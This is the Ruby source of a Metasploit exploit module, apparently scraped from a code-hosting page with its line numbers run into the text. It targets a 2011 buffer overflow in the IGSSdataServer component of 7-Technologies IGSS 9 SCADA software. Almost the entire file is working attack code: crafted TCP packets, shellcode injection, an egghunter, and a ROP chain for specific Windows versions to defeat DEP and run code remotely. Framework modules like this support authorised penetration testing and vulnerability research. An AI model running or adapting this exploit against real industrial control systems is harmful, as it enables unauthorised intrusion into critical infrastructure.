Path: blob/master/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",16'Description' => %q{17This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying18a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,19a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,20which results arbitrary code execution under the context of the user.2122The attack is carried out in three stages. The first stage sends the final payload to23IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command24so the process can find a valid ID for the Rename command. The last stage then triggers25the vulnerability with the Rename command, and uses an egghunter to search for the26shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to27the small buffer size, which cannot even contain our ROP chain and the final payload.28},29'License' => MSF_LICENSE,30'Author' => [31'Luigi Auriemma <aluigi[at]autistici.org>', # Initial discovery, poc32'sinn3r', # Metasploit33],34'References' => [35['CVE', '2011-1567'],36['OSVDB', '72352'],37['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],38['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']39],40'Payload' => {41'BadChars' => "\x00",42'StackAdjustment' => -3500,43},44'DefaultOptions' => {45'EXITFUNC' => "seh",46},47'Platform' => 'win',48'Targets' => [49[50'Windows XP SP3',51{52'Ret' => 0x1B0938B8, # ADD ESP,910; RETN 10 MSJET40.dll53'RopOffset' => 68, # Offset to the ROP chain54'Offset' => 500, # Offset to SE Handler (stack pivot)55'Max' => 8000, # Max buffer size56}57],58[59'Windows Server 2003 SP2/R2 SP2',60{61'Ret' => 0x1B093622, # ADD ESP,910; RETN 10 MSJET40.dll62'RopOffset' => 76, # Offset to the ROP chain63'Offset' => 500, # Offset to SE Handler (stack pivot)64'Max' => 8000, # Max buffer size65}66]67],68'Privileged' => false,69'DisclosureDate' => '2011-03-24',70'Notes' => {71'Reliability' => UNKNOWN_RELIABILITY,72'Stability' => UNKNOWN_STABILITY,73'SideEffects' => UNKNOWN_SIDE_EFFECTS74}75)76)7778register_options(79[80Opt::RPORT(12401, false),81]82)83end8485# We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before86# triggering the vulnerable code path we're trying to hit. Without this, we'll just hit87# "FAILED renameDicRec. ID not found %s" (logText function).88def add_template(id)89buf = ''90buf << "\x9b\x00" # Packet size91buf << "\x01\x00\x34\x12"92buf << "\x07" # Opcode93buf << "\x00\x00\x00\x00\x00\x00\x00"94buf << "\x01" # Flag95buf << "\x00\x00\x00"96buf << "\x04" # Command (add)97buf << "\x00\x00\x00"98buf << id99buf << "\x00"100buf << "\x00" * 31101buf << "\x78"102buf << "\x00" * 63103buf << "\x78"104buf << "\x00" * 28105106connect107108sock.put(buf)109110print_status("Sending ADD command to #{datastore['RHOST']}")111res = sock.recv(1024)112113disconnect114115return res116end117118# Since we don't have a lot of space on the stack when we trigger the overflow, we send a119# separate packet that contains our final payload, and let egghunter look for it later in memory120def inject_payload(my_payload)121buf = ''122buf << "\x01\x00\x34\x12"123buf << "\x0D" # Opcode124buf << "\x00\x00\x00\x00\x00\x00\x00"125buf << "\x01" # Flag126buf << "\x00\x00\x00"127buf << "\x01" # Command (ListAll)128buf << "\x00\x00\x00"129buf << my_payload130buf << Rex::Text.rand_text_alpha(1024 - my_payload.length)131buf << "\x00" * 130132133# Packet size134buf_size = [buf.length + 2].pack('v')135buf = buf_size + buf136137connect138139sock.put(buf)140print_status("Injecting payload in memory to #{datastore['RHOST']}")141142disconnect143end144145# It's definitely junk146def junk147return rand_text(4).unpack("L")[0].to_i148end149150def sploit_rename(id)151# Egghunter is used because we don't really have a lot of space on the stack152# to fit the ROP chain and a larger payload153eggoptions =154{155:checksum => true,156:eggtag => 'W00T',157:depmethod => 'virtualprotect',158:depreg => 'esi'159}160161hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)162163# depreg (Put VirtualProtect in ESI)164esi = "\x81\xf6\x16\x1b\x5f\x5e" # XOR ESI, 0x5E5F1B16165esi << "\x3e\x8b\x36" # MOV ESI, DWORD PTR DS:[ESI]166167# Put depreg alignment168hunter = esi + hunter169170# Send final payload first, and let egghunter look for it171inject_payload(p)172173# Max ROP chain size we can use is 406 bytes174rop = [175:xchg_esp_ebp,176# 0x59ABA24B, #PUSH ESP # POP EBP # RETN [dbghelp.dll]177junk,178junk,179junk,180junk,1810x1B76A59E, # XCHG EAX,EBP # RETN [dao360.dll]1820x1B8260DD, # ADD EAX,20 # RETN [msjtes40.dll]183:add_eax_100,184# 0x1B09FA13, #ADD EAX,100 # RETN 0C [MSJET40.DLL]185186# VirtualProtect Argument ([0x540214])187:xchg_eax_ecx,188junk,189junk,190junk,191:pop_eax,1920x3BABFD6D, # 0x3BABFD6D xor 0x3BFFFF791930x1B7802A3, # XOR EAX,3BFFFF79 # RETN [dao360.dll]1940x1b73f3bd, # MOV EAX,DWORD PTR DS:[EAX] # RETN [dao360.dll]195:xchg_eax_ecx,1960x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]1970x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]198199# Retn:200:xchg_eax_esi,201# 0x1B0505C1, #PUSH EAX # POP ESI # RETN 4 [MSJET40.DLL]2020x1B8260DD, # ADD EAX,20 # RETN [Module : msjtes40.dll]203junk,2040x1B8260DD, # ADD EAX,20 # RETN [msjtes40.dll]2050x1B8260DD, # ADD EAX,20 # RETN [msjtes40.dll]2060x1B8260DD, # ADD EAX,20 # RETN [msjtes40.dll]207:xchg_eax_ecx,208:mov_eax_esi_pop_esi,209# 0x1B03AD44, #MOV EAX,ESI # POP ESI # RETN [MSJET40.DLL]2100x5E0B1902, # :depreg initial value to xor2110x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]2120x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]213214# Shellcode:2150x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]2160x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]217218# Size (100 bytes -- enough for egghunter)219:xchg_eax_ecx,220:pop_eax,221:size_xor,2220x1B7802A3, # XOR EAX,3BFFFF79 # RETN [dao360.dll]223:xchg_eax_ecx,2240x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]2250x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]226227# newProtect (0x40):228:xchg_eax_ecx,229:pop_eax,2300x3BFFFF39, # 0x3BFFFF39 xor 0x3BFFFF792310x1B7802A3, # XOR EAX,3BFFFF79 # RETN [dao360.dll]232:xchg_eax_ecx,2330x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]2340x1B74C50A, # ADD EAX,4 # RETN [dao360.dll]235236# oldProtect2370x1B731395, # POP ECX # RETN [dao360.dll]2380x1B82B410, # .data section (WR) in msjtes40.dll2390x1B829E75, # MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]240241# Align the rewind part2420x1B829E86, # ADD EAX,0C # RETN [msjtes40.dll]243244# Rewind245:rewind,246247# Execute2480x1B72A833, # XCHG EAX,ESP # RETN [dao360.dll]249]250251# OS specific gadgets252rop.map! do |gadget|253if gadget == :xchg_esp_ebp254(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223255elsif gadget == :add_eax_100256(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3257elsif gadget == :xchg_eax_esi258(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71259elsif gadget == :xchg_eax_ecx260(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D261elsif gadget == :mov_eax_esi_pop_esi262(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735263elsif gadget == :pop_eax264(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169265elsif gadget == :size_xor266(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D267elsif gadget == :rewind268(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741269else270gadget271end272end273274rop = rop.pack('V*')275276sploit = ''277sploit << Rex::Text.rand_text_alpha(target['RopOffset'])278sploit << rop279sploit << Rex::Text.rand_text_alpha(target['Offset'] - sploit.length)280sploit << [target.ret].pack('V') # Pivot281sploit << make_nops(12) # Padding282sploit << hunter283sploit << Rex::Text.rand_text_alpha(target['Max'] - sploit.length)284285# Create the packet with our naughty payload286pkt = "\x00\x04" # Funky size causes overflow287pkt << "\x01\x00\x34\x12"288pkt << "\x07" # Opcode289pkt << "\x00\x00\x00\x00\x00\x00\x00"290pkt << "\x02" # Flag291pkt << "\x00\x00\x00"292pkt << "\x02" # Command293pkt << "\x00\x00\x00"294pkt << id295pkt << "\x00"296pkt << sploit297298connect299300print_status("Sending malicious request to #{datastore['RHOST']}")301sock.put(pkt)302303handler304305# egghunter takes a few seconds, wait a bit before disconnect306select(nil, nil, nil, 3)307disconnect308end309310def exploit311id = Rex::Text.rand_text_alpha(8)312313res = add_template(id)314if res !~ /Report/i315print_error("Failed to add template:#{res}")316return317end318319sploit_rename(id)320end321end322323324